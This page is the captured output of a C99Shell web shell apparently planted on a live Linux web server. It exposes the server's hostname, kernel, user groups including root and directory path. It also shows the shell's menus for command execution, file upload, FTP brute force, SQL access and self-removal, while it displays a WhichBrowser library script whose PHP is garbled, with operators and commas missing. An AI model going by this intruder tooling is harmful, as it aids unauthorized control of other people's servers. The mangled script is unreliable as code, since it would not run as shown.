!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/whichbrowser/parser/bin/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     update-indices.php (3.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include_once __DIR__ '/bootstrap.php';

use 
WhichBrowser\Data\DeviceModels;
use 
ReverseRegex\Lexer;

$command 'list';
$types = [];
$options = [];

array_shift($argv);

if (
count($argv)) {
    foreach (
$argv as $argument) {
        if (
in_array($argument, [ 'list' ])) {
            
$command $argument;
        } elseif (
substr($argument02) == '--') {
            
$options[] = substr($argument2);
        } else {
            
$types[] = $argument;
        }
    }
}

if (
in_array('all'$options)) {
    
$types = [ 
        
'android''asha''bada''brew''feature''firefoxos',
        
'kddi''palmos''s30plus''s40''symbian''tizen',
        
'touchwiz''wm''wp'
    
];
}


foreach (
$types as $i => $type) {
    
command($command$type);
}


function 
command($command$type) {
    switch(
$command) {
        case 
'list':
            
command_list($type);
            break;
    }
}

function 
command_list($type) {
    echo 
"Creating index for 'data/models-{$type}.php'...\n";

    require_once 
__DIR__ '/../data/models-' $type '.php';

    
$name strtoupper($type) . '_MODELS';
    
$list DeviceModels::$$name;

    
$index = [];

    foreach (
$list as $key => $value) {

        if (
substr($key, -2) == '!!') {
            
$keys getKeysFromRegexp(substr($key0, -2));
        }
        elseif (
substr($key, -1) == '!') {
            
$keys getKeysFromRegexp(substr($key0, -1));
        }
        else {
            
$keys = [ substr(strtoupper($key), 02) ];
        }

        foreach (
$keys as $k => $v) {
            if (
$v == '**') {
                
$v '';
            }

            if (!isset(
$index['@'.$v])) {
                
$index['@'.$v] = [];
            }

            
$index['@'.$v][] = $key;
        }
    }

    
ksort($index);

    
$file  "<" "?php\n";
    
$file .= "\n";
    
$file .= "namespace WhichBrowser\\Data;\n";
    
$file .= "\n";
    
$file .= "DeviceModels::\$" strtoupper($type) . "_INDEX = " var_export($indextrue) . ";\n";

    
file_put_contents(__DIR__ '/../data/indices/models-' $type '.php'$file);
}

function 
getKeysFromRegexp($regexp) {
    
$lexer = new Lexer($regexp);
    
$lexer->moveNext();

    
$keys readKeysFromLexer($lexer);

    return 
array_unique($keys);
}


function 
readKeysFromLexer($lexer) {
    
$keys = [];

    if (
$lexer->isNextTokenAny([ Lexer::T_LITERAL_CHAR,Lexer::T_LITERAL_NUMERIC ])) {
        
$current strtoupper($lexer->lookahead['value']);

        
$lexer->moveNext();
        if (
$lexer->isNextTokenAny([ Lexer::T_LITERAL_CHAR,Lexer::T_LITERAL_NUMERIC ])) {
            
$keys[] = $current strtoupper($lexer->lookahead['value']);
        }
        else {
            
$keys[] = '**';
        }
    }

    else if (
$lexer->isNextToken(Lexer::T_GROUP_OPEN)) {
        
$current '';
        
$active true;

        while (
$lexer->moveNext()) {
            if (
$lexer->isNextTokenAny([ Lexer::T_LITERAL_CHAR,Lexer::T_LITERAL_NUMERIC ])) {
                if (
$active && strlen($current) < 2) {
                    
$current .= strtoupper($lexer->lookahead['value']);
                }
            }

            else if (
$lexer->isNextToken(Lexer::T_CHOICE_BAR)) {
                
$keys[] = $current;
                
$current '';
                
$active true;
            }

            else if (
$lexer->isNextToken(Lexer::T_GROUP_OPEN)) {
                if (
$lexer->moveNext()) {
                    
$more readKeysFromLexer($lexer);

                    if (
count($more)) {
                        
$keys array_merge($keys$more);
                    } else {
                        break;
                    }
                }
            }

            else if (
$lexer->isNextToken(Lexer::T_GROUP_CLOSE)) {
                if (
strlen($current) == 2) {
                    
$keys[] = $current;
                } else {
                    
$keys[] = '**';
                }

                
$current '';
                
$active true;
                break;
            }

            else if (
$lexer->isNextToken(Lexer::T_DOT)) {
                
$keys[] = '**';
                
$current '';
                
$active false;
                break;
            }

            else {
                
$active false;
            }
        }

        while (
$lexer->moveNext()) {
            if (
$lexer->isNextToken(Lexer::T_QUANTIFIER_QUESTION)) {
                if (
$lexer->moveNext()) {
                    
$more readKeysFromLexer($lexer);

                    if (
count($more)) {
                        
$keys array_merge($keys$more);
                    } else {
                        break;
                    }
                }
            }
            else {
                break;
            }
        }
    }

    else if (
$lexer->isNextToken(Lexer::T_SET_OPEN)) {
        
$keys[] = '**';
    }

    else if (
$lexer->isNextToken(Lexer::T_DOT)) {
        
$keys[] = '**';
    }

    return 
array_unique($keys);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--